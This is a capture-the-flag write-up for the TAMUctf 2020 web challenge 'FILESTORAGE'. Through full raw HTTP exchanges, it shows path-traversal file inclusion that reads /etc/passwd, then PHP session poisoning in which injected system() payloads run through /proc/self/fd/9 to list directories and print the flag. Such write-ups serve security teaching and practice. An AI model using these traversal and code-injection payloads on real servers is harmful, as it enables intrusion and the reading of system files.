# TAMUctf 2020 – FILESTORAGE
* **Category:** web* **Points:** 122
## Challenge
> Try out my new file sharing site!> > http://filestorage.tamuctf.com
## Solution
The website takes a `name` parameter and allows you to read some files. 
```POST /index.php HTTP/1.1Host: filestorage.tamuctf.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 8Origin: http://filestorage.tamuctf.comConnection: closeReferer: http://filestorage.tamuctf.com/index.phpCookie: PHPSESSID=11fcvj19chosurikvujm4639cqUpgrade-Insecure-Requests: 1
name=foo
HTTP/1.1 200 OKServer: nginx/1.16.1Date: Fri, 20 Mar 2020 02:13:01 GMTContent-Type: text/html; charset=UTF-8Content-Length: 542Connection: closeX-Powered-By: PHP/7.3.15Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cache
<html>	<head>		<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">	</head>	<body>	Hello, foobeemovie.txthello.txtpi.txt	</body></html>```
Analyzing the read files page, you can discover that the website is vulnerable to LFI.
```GET /index.php?file=../../../../../../../../etc/passwd HTTP/1.1Host: filestorage.tamuctf.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeCookie: PHPSESSID=k2qs029jna7vcppkeqinfh4kjaUpgrade-Insecure-Requests: 1Cache-Control: max-age=0
HTTP/1.1 200 OKServer: nginx/1.16.1Date: Fri, 20 Mar 2020 00:38:30 GMTContent-Type: text/html; charset=UTF-8Content-Length: 1561Connection: closeX-Powered-By: PHP/7.3.15Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cache
<html>	<head>		<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">	</head>	<body> ? Go backroot:x:0:0:root:/root:/bin/ashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/mail:/sbin/nologinnews:x:9:13:news:/usr/lib/news:/sbin/nologinuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologinoperator:x:11:0:operator:/root:/sbin/nologinman:x:13:15:man:/usr/man:/sbin/nologinpostmaster:x:14:12:postmaster:/var/mail:/sbin/nologincron:x:16:16:cron:/var/spool/cron:/sbin/nologinftp:x:21:21::/var/lib/ftp:/sbin/nologinsshd:x:22:22:sshd:/dev/null:/sbin/nologinat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologinsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologinxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologingames:x:35:35:games:/usr/games:/sbin/nologincyrus:x:85:12::/usr/cyrus:/sbin/nologinvpopmail:x:89:89::/var/vpopmail:/sbin/nologinntp:x:123:123:NTP:/var/empty:/sbin/nologinsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologinguest:x:405:100:guest:/dev/null:/sbin/nologinnobody:x:65534:65534:nobody:/:/sbin/nologinapache:x:100:101:apache:/var/www:/sbin/nologin	</body></html>```
You can abuse this vulnerability to analyze the `/proc/self/` directory in order to how the website stores the passed `name` parameter.
```GET /index.php?file=../../../../../../proc/self/fd/9 HTTP/1.1Host: filestorage.tamuctf.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeReferer: http://filestorage.tamuctf.com/index.phpCookie: PHPSESSID=11fcvj19chosurikvujm4639cqUpgrade-Insecure-Requests: 1
HTTP/1.1 200 OKServer: nginx/1.16.1Date: Fri, 20 Mar 2020 02:13:55 GMTContent-Type: text/html; charset=UTF-8Content-Length: 357Connection: closeX-Powered-By: PHP/7.3.15Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cache
<html>	<head>		<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">	</head>	<body> ? Go backname|s:3:"foo";	</body></html>```
It seems that `name` is stored using PHP serialization and can be located into `/proc/self/fd/9` file. If you perform LFI to read a file including PHP code, it will be executed.
So you can pass a PHP command for the `name` value, like ``.
```POST /index.php HTTP/1.1Host: filestorage.tamuctf.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 45Origin: http://filestorage.tamuctf.comConnection: closeReferer: http://filestorage.tamuctf.com/index.phpCookie: PHPSESSID=boig3tsj1931578ghio3a9fderUpgrade-Insecure-Requests: 1
name=%3C%3Fphp+system%28%27id%27%29%3B+%3F%3E
HTTP/1.1 200 OKServer: nginx/1.16.1Date: Fri, 20 Mar 2020 02:10:47 GMTContent-Type: text/html; charset=UTF-8Content-Length: 561Connection: closeX-Powered-By: PHP/7.3.15Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cache
<html>	<head>		<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">	</head>	<body>	Hello, beemovie.txthello.txtpi.txt	</body></html>```
And then use LFI to execute it.
```GET /index.php?file=../../../../../../proc/self/fd/9 HTTP/1.1Host: filestorage.tamuctf.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeReferer: http://filestorage.tamuctf.com/index.phpCookie: PHPSESSID=boig3tsj1931578ghio3a9fderUpgrade-Insecure-Requests: 1
HTTP/1.1 200 OKServer: nginx/1.16.1Date: Fri, 20 Mar 2020 02:07:58 GMTContent-Type: text/html; charset=UTF-8Content-Length: 431Connection: closeX-Powered-By: PHP/7.3.15Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cache
<html>	<head>		<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">	</head>	<body> ? Go backname|s:22:"uid=100(apache) gid=101(apache) groups=82(www-data),101(apache),101(apache)";	</body></html>```
You can enumerate the folder with the following HTTP requests.
```POST /index.php HTTP/1.1Host: filestorage.tamuctf.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 55Origin: http://filestorage.tamuctf.comConnection: closeReferer: http://filestorage.tamuctf.com/index.phpCookie: PHPSESSID=11fcvj19chosurikvujm4639cqUpgrade-Insecure-Requests: 1
name=%3C%3Fphp%20system%28%27ls%20-al%27%29%3B%20%3F%3E
HTTP/1.1 200 OKServer: nginx/1.16.1Date: Fri, 20 Mar 2020 02:18:48 GMTContent-Type: text/html; charset=UTF-8Content-Length: 565Connection: closeX-Powered-By: PHP/7.3.15Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cache
<html>	<head>		<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">	</head>	<body>	Hello, beemovie.txthello.txtpi.txt	</body></html>
GET /index.php?file=../../../../../../proc/self/fd/9 HTTP/1.1Host: filestorage.tamuctf.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeReferer: http://filestorage.tamuctf.com/index.phpCookie: PHPSESSID=11fcvj19chosurikvujm4639cqUpgrade-Insecure-Requests: 1
HTTP/1.1 200 OKServer: nginx/1.16.1Date: Fri, 20 Mar 2020 02:18:54 GMTContent-Type: text/html; charset=UTF-8Content-Length: 681Connection: closeX-Powered-By: PHP/7.3.15Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cache
<html>	<head>		<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">	</head>	<body> ? Go backname|s:26:"total 20drwxr-xr-x    1 root     root          4096 Mar 20 01:23 .drwxr-xr-x    1 root     root          4096 Mar 18 17:38 ..drwxr-xr-x    2 root     root          4096 Mar 18 17:38 files-rw-r--r--    1 root     root            45 Aug 16  2019 index.html-rw-rw-r--    1 root     root          1141 Mar 20 01:22 index.php";	</body></html>```
You can now enumerate the root folder.
```POST /index.php HTTP/1.1Host: filestorage.tamuctf.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 61Origin: http://filestorage.tamuctf.comConnection: closeReferer: http://filestorage.tamuctf.com/index.phpCookie: PHPSESSID=11fcvj19chosurikvujm4639cqUpgrade-Insecure-Requests: 1
name=%3C%3Fphp%20system%28%27ls%20-al%20%2F%27%29%3B%20%3F%3E
HTTP/1.1 200 OKServer: nginx/1.16.1Date: Fri, 20 Mar 2020 02:29:38 GMTContent-Type: text/html; charset=UTF-8Content-Length: 567Connection: closeX-Powered-By: PHP/7.3.15Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cache
<html>	<head>		<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">	</head>	<body>	Hello, beemovie.txthello.txtpi.txt	</body></html>
GET /index.php?file=../../../../../../proc/self/fd/9 HTTP/1.1Host: filestorage.tamuctf.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeReferer: http://filestorage.tamuctf.com/index.phpCookie: PHPSESSID=11fcvj19chosurikvujm4639cqUpgrade-Insecure-Requests: 1
HTTP/1.1 200 OKServer: nginx/1.16.1Date: Fri, 20 Mar 2020 02:29:42 GMTContent-Type: text/html; charset=UTF-8Content-Length: 1731Connection: closeX-Powered-By: PHP/7.3.15Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cache
<html>	<head>		<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">	</head>	<body> ? Go backname|s:28:"total 244drwxr-xr-x    1 root     root          4096 Mar 20 01:55 .drwxr-xr-x    1 root     root          4096 Mar 20 01:55 ..-rwxr-xr-x    1 root     root             0 Mar 20 01:55 .dockerenvdrwxr-xr-x    2 root     root          4096 Jan 16 21:52 bindrwxr-xr-x    5 root     root           340 Mar 20 01:55 devdrwxr-xr-x    1 root     root          4096 Mar 20 01:55 etcdrwxr-xr-x    1 root     root          4096 Mar 20 01:23 flag_is_heredrwxr-xr-x    2 root     root          4096 Jan 16 21:52 homedrwxr-xr-x    1 root     root          4096 Mar 18 17:38 libdrwxr-xr-x    5 root     root          4096 Jan 16 21:52 mediadrwxr-xr-x    2 root     root          4096 Jan 16 21:52 mntdrwxr-xr-x    2 root     root          4096 Jan 16 21:52 optdr-xr-xr-x  504 root     root             0 Mar 20 01:55 procdrwx------    2 root     root          4096 Jan 16 21:52 rootdrwxr-xr-x    1 root     root          4096 Mar 18 17:38 rundrwxr-xr-x    2 root     root          4096 Jan 16 21:52 sbindrwxr-xr-x    2 root     root          4096 Jan 16 21:52 srv-rw-rw-r--    1 root     root            36 Mar 18 17:37 start.shdr-xr-xr-x   13 root     root             0 Mar 20 01:16 sysdrwxrwxrwt    1 root     root        167936 Mar 20 02:29 tmpdrwxr-xr-x    1 root     root          4096 Jan 16 21:52 usrdrwxr-xr-x    1 root     root          4096 Mar 18 17:38 var";	</body></html>```
So you can discover the `/flag_is_here` folder and enumerate it.
```POST /index.php HTTP/1.1Host: filestorage.tamuctf.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 73Origin: http://filestorage.tamuctf.comConnection: closeReferer: http://filestorage.tamuctf.com/index.phpCookie: PHPSESSID=11fcvj19chosurikvujm4639cqUpgrade-Insecure-Requests: 1
name=%3C%3Fphp%20system%28%27ls%20-al%20%2Fflag_is_here%27%29%3B%20%3F%3E
HTTP/1.1 200 OKServer: nginx/1.16.1Date: Fri, 20 Mar 2020 02:31:03 GMTContent-Type: text/html; charset=UTF-8Content-Length: 579Connection: closeX-Powered-By: PHP/7.3.15Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cache
<html>	<head>		<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">	</head>	<body>	Hello, beemovie.txthello.txtpi.txt	</body></html>
GET /index.php?file=../../../../../../proc/self/fd/9 HTTP/1.1Host: filestorage.tamuctf.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeReferer: http://filestorage.tamuctf.com/index.phpCookie: PHPSESSID=11fcvj19chosurikvujm4639cqUpgrade-Insecure-Requests: 1
HTTP/1.1 200 OKServer: nginx/1.16.1Date: Fri, 20 Mar 2020 02:31:07 GMTContent-Type: text/html; charset=UTF-8Content-Length: 549Connection: closeX-Powered-By: PHP/7.3.15Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cache
<html>	<head>		<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">	</head>	<body> ? Go backname|s:40:"total 12drwxr-xr-x    1 root     root          4096 Mar 20 01:23 .drwxr-xr-x    1 root     root          4096 Mar 20 01:55 ..-rw-rw-r--    1 root     root            29 Mar 18 17:37 flag.txt";	</body></html>```
And finally print `/flag_is_here/flag.txt` file.
```POST /index.php HTTP/1.1Host: filestorage.tamuctf.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 76Origin: http://filestorage.tamuctf.comConnection: closeReferer: http://filestorage.tamuctf.com/index.phpCookie: PHPSESSID=11fcvj19chosurikvujm4639cqUpgrade-Insecure-Requests: 1
name=%3C%3Fphp%20system%28%27cat%20%2Fflag_is_here%2Fflag.txt%27%29%20%3F%3E
HTTP/1.1 200 OKServer: nginx/1.16.1Date: Fri, 20 Mar 2020 02:33:17 GMTContent-Type: text/html; charset=UTF-8Content-Length: 584Connection: closeX-Powered-By: PHP/7.3.15Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cache
<html>	<head>		<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">	</head>	<body>	Hello, beemovie.txthello.txtpi.txt	</body></html>
GET /index.php?file=../../../../../../proc/self/fd/9 HTTP/1.1Host: filestorage.tamuctf.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: closeReferer: http://filestorage.tamuctf.com/index.phpCookie: PHPSESSID=11fcvj19chosurikvujm4639cqUpgrade-Insecure-Requests: 1
HTTP/1.1 200 OKServer: nginx/1.16.1Date: Fri, 20 Mar 2020 02:33:48 GMTContent-Type: text/html; charset=UTF-8Content-Length: 384Connection: closeX-Powered-By: PHP/7.3.15Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cache
<html>	<head>		<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">	</head>	<body> ? Go backname|s:45:"gigem{535510n_f1l3_p0150n1n6}";	</body></html>```
So the flag is the following.
```gigem{535510n_f1l3_p0150n1n6}```